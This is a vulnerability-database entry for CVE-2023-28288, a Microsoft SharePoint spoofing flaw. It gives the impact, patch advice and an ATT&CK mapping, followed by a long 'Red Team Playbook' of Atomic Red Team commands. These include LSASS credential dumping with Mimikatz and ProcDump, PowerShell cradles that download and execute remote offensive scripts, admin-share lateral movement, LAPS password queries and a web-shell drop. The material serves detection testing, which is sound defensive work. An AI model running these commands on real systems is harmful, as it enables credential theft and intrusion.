CVE-2023-28288

HIGH EXPLOIT Pub 11/04 Upd 28/02

Overview

This vulnerability is a spoofing flaw rooted in improper validation of authentication tokens within Microsoft SharePoint Server 2016's enterprise features. The core issue arises from the server's failure to correctly verify the origin and integrity of certain requests, allowing an attacker with limited privileges to impersonate trusted entities. The affected component is the SharePoint Server's authentication and request handling mechanism, which mishandles token validation leading to spoofing.

Vulnerability Description

Microsoft SharePoint Server Spoofing Vulnerability

Impact

An attacker with authenticated access but limited privileges can exploit this vulnerability to impersonate other users or services within the SharePoint environment, potentially gaining unauthorized access to sensitive data or functionality. The exploit requires network access and authenticated user credentials but does not require user interaction. This can lead to unauthorized information disclosure and lateral movement within enterprise SharePoint deployments. The CVSS vector indicates low attack complexity (AC:L) and no user interaction (UI:N), amplifying the ease of exploitation under these conditions.

Solution

Microsoft has released security updates addressing this vulnerability for SharePoint Server 2016 Enterprise and other affected versions as detailed in their official advisory at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28288. Administrators should apply the latest cumulative updates provided by Microsoft for their specific SharePoint Server versions. No alternative workarounds are noted; applying the vendor-supplied patches is the recommended remediation step.

EPSS vs KEV Prediction — Evolution (30 days)

	Vendor	Product	Version	CPE
M	Microsoft	Sharepoint Foundation	2013	`cpe:2.3:a:microsoft:sharepoint_foundation:2013:sp1::::::`
M	Microsoft	Sharepoint Server	N/A	`cpe:2.3:a:microsoft:sharepoint_server:-::::subscription:::`
M	Microsoft	Sharepoint Server	2013	`cpe:2.3:a:microsoft:sharepoint_server:2013:sp1:::enterprise:::*`
M	Microsoft	Sharepoint Server	2016	`cpe:2.3:a:microsoft:sharepoint_server:2016::::enterprise:::`
M	Microsoft	Sharepoint Server	2019	`cpe:2.3:a:microsoft:sharepoint_server:2019:::::::*`

Title	Author	Type	Platform	Date	Link
Microsoft SharePoint Enterprise Server 2016 - Spoofing	Amirhossein Bahramizadeh	webapps	multiple	-	View

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope

Initial Access

TA0001

Execution

TA0002

Persistence

TA0003

Priv. Escalation

TA0004

Defense Evasion

TA0005

Credential Access

TA0006

Lateral Movement

TA0008

Collection

TA0009

Impact

TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Server-Side Request Forgery

96% ssrf

Open Redirect

80% open_redirect

Authentication Bypass

64% auth_bypass

Cross-Site Scripting

60% xss

Deserialization Vulnerabilities

57% deserialization

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID	Name	Stage	Tactics	Platforms
T1190	Exploit Public-Facing Application	Initial Access	initial-access	Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.001	PowerShell	Kill Chain	execution	Windows
T1505.003	Web Shell	Kill Chain	persistence	Linux, macOS, Network Devices, Windows
T1003.001	LSASS Memory	Kill Chain	credential-access	Windows
T1087.002	Domain Account	Kill Chain	discovery	Linux, macOS, Windows
T1021.002	SMB/Windows Admin Shares	Kill Chain	lateral-movement	Windows

CAPEC Attack Patterns ML

ID	Name	ML Conf.	Likelihood	Severity	Link
CAPEC-664	Server Side Request Forgery	30%	High	High

Red Team Playbook

65 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...

Command (CMD)

"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}

T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged

Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)

Command (PowerShell)

$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id

T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged

WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...

Command (CMD)

PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"

T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged

The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory

Command (CMD)

PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"

T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...

Command (PowerShell)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump

T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...

Command (CMD)

"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}

T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.

T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.

Command (PowerShell)

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....

Command (CMD)

"#{dumpert_exe}"

T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...

Command (PowerShell)

#{xordump_exe} -out #{output_file} -x 0x41

T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.

Command (PowerShell)

if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."

T1003.001 LSASS read with pypykatz Windows CMD Privileged

Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...

Command (CMD)

"#{venv_path}\Scripts\pypykatz" live lsa

T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.

Command (CMD)

#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit

T1003.001 Powershell Mimikatz Windows PowerShell Privileged

Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...

Command (PowerShell)

IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds

T1021.002 Copy and Execute File with PsExec Windows CMD Privileged

Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).

Command (CMD)

"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}

T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged

Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.

Command (CMD)

cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1

T1021.002 Map Admin Share PowerShell Windows PowerShell

Map Admin share utilizing PowerShell

Command (PowerShell)

New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}

T1021.002 Map admin share Windows CMD

Connecting To Remote Shares

Command (CMD)

cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"

T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell

Executes powershell.exe with variations of the -Command parameter

Command (PowerShell)

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop

T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell

Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied

Command (PowerShell)

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop

T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell

Executes powershell.exe with variations of the -EncodedCommand parameter

Command (PowerShell)

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop

T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell

Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied

Command (PowerShell)

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop

T1059.001 Abuse Nslookup with DNS Records Windows PowerShell

Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)

Command (PowerShell)

# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]

T1059.001 Invoke-AppPathBypass Windows CMD

Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/

Command (CMD)

Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"

T1059.001 Mimikatz Windows CMD Privileged

Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.

Command (CMD)

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"

T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged

Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.

Command (PowerShell)

$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr

T1059.001 NTFS Alternate Data Stream Access Windows PowerShell

Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.

Command (PowerShell)

Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand

T1059.001 PowerShell Command Execution Windows CMD

Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.

Command (CMD)

powershell.exe -e  #{obfuscated_code}

T1059.001 PowerShell Fileless Script Execution Windows PowerShell

Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.

Command (PowerShell)

# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))

T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged

Powershell execution of known Malicious PowerShell Cmdlets

Command (PowerShell)

$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}

T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged

Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.

Command (PowerShell)

New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use

T1059.001 PowerUp Invoke-AllChecks Windows PowerShell

Check for privilege escalation paths using PowerUp from PowerShellMafia

Command (PowerShell)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks

T1059.001 Powershell Invoke-DownloadCradle Windows Manual

Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.

T1059.001 Powershell MsXml COM object - with prompt Windows CMD

Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io

Command (CMD)

powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"

T1059.001 Powershell XML requests Windows CMD

Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io

Command (CMD)

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"

T1059.001 Powershell invoke mshta.exe download Windows CMD

Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io

Command (CMD)

C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"

T1059.001 Run BloodHound from local disk Windows PowerShell

Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...

Command (PowerShell)

import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5

T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell

Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...

Command (PowerShell)

write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5

T1059.001 SOAPHound - Build Cache Windows PowerShell

Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound

Command (PowerShell)

#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}

T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell

Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound

Command (PowerShell)

#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}

T1087.002 Account Enumeration with LDAPDomainDump Linux Shell

This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)

Command (Shell)

ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087

T1087.002 Active Directory Domain Search Linux Shell

Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory

Command (Shell)

ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn

T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}

T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}

T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}

T1087.002 Adfind -Listing password policy Windows CMD

Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties

T1087.002 Automated AD Recon (ADRecon) Windows PowerShell

ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.

Command (PowerShell)

Invoke-Expression "#{adrecon_path}"

T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell

The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...

Command (PowerShell)

([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()

T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell

Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...

Command (PowerShell)

Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}

T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD

This test will enumerate the details of the built-in domain admin account

Command (CMD)

net user administrator /domain

T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell

The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...

Command (PowerShell)

(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}

T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell

The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...

Command (PowerShell)

(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}

T1087.002 Enumerate all accounts (Domain) Windows CMD

Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session

Command (CMD)

net user /domain
net group /domain

T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell

Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.

Command (PowerShell)

net user /domain
get-localgroupmember -group Users
get-aduser -filter *

T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD

Enumerate logged on users. Upon exeuction, logged on users will be displayed.

Command (CMD)

query user /SERVER:#{computer_name}

T1087.002 Get-DomainUser with PowerView Windows PowerShell

Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.

Command (PowerShell)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose

T1087.002 Kerbrute - userenum Windows PowerShell

Enumerates active directory usernames using the userenum function of Kerbrute

Command (PowerShell)

cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"

T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell

This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

Get-ADComputer #{hostname} -Properties *

T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell

This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *

T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell

This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell

This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *

T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell

This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell

This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)

Command (PowerShell)

$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'

T1087.002 WinPwn - generaldomaininfo Windows PowerShell

Gathers general domain information using the generaldomaininfo function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput

T1505.003 Web Shell Written to Disk Windows CMD

This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx

Command (CMD)

xcopy /I /Y "#{web_shells}" #{web_shell_path}

Title	Tags	URL
nvd.nist.gov	NVD reference	https://nvd.nist.gov/vuln/detail/CVE-2023-28288
msrc.microsoft.com	GitHub CVE vendor-advisory	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28288
packetstormsecurity.com	NVD API Third Party Advisory VDB Entry	http://packetstormsecurity.com/files/173126/Microsoft-SharePoint-Enterprise-Server-2016-Spoofing.html

CVSS Analysis

CVSS v3.1

8.1

EXPLOITABILITY

Attack Vector

Network AV:N

Attack Complexity

Low AC:L

Privileges Required

Low PR:L

User Interaction

None UI:N

SCOPE

Scope

